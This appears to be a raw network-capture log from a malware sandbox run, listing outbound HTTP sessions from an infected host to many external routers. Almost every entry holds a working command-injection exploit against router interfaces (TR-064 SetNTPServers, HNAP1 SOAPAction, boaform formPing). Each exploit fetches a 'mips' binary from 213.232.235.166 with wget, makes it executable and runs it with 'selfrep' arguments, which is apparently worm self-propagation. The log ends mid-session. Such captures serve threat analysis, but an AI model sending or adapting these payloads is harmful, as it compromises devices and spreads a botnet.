Apr 15, 2024 08:53:05.376533985 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:54.528438091 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	46656	61.79.31.242	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:17.434341908 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:17.796473026 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:18.656495094 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	38636	120.253.215.244	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.362591028 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	58818	47.187.9.45	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.651997089 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	44216	99.229.138.80	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.683031082 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	34452	174.110.101.224	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.685918093 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	56362	183.104.133.207	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.730232000 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:21.188479900 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:22.912468910 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:26.464476109 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:33.376466990 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:47.200462103 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:15.616413116 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	58130	213.133.177.163	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.731393099 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	52738	14.73.239.115	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.738492966 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	38934	121.122.75.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.792848110 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	37190	197.26.224.230	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.799527884 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	58836	47.187.9.45	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.852296114 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	51500	173.174.90.105	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.855798006 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	44248	99.229.138.80	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.914705992 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	45302	197.93.13.146	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.920758963 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:20.413321972 CEST	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:52:20 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	34488	174.110.101.224	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.931492090 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	52524	72.95.90.135	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.970601082 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:21.216495991 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:21.461445093 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="e5f5d097c941ba6f78c156f82fcf0470000e422d",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	56270	75.165.150.113	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:19.982333899 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	56388	183.104.133.207	7547

Timestamp	Bytes transferred	Direction	Data
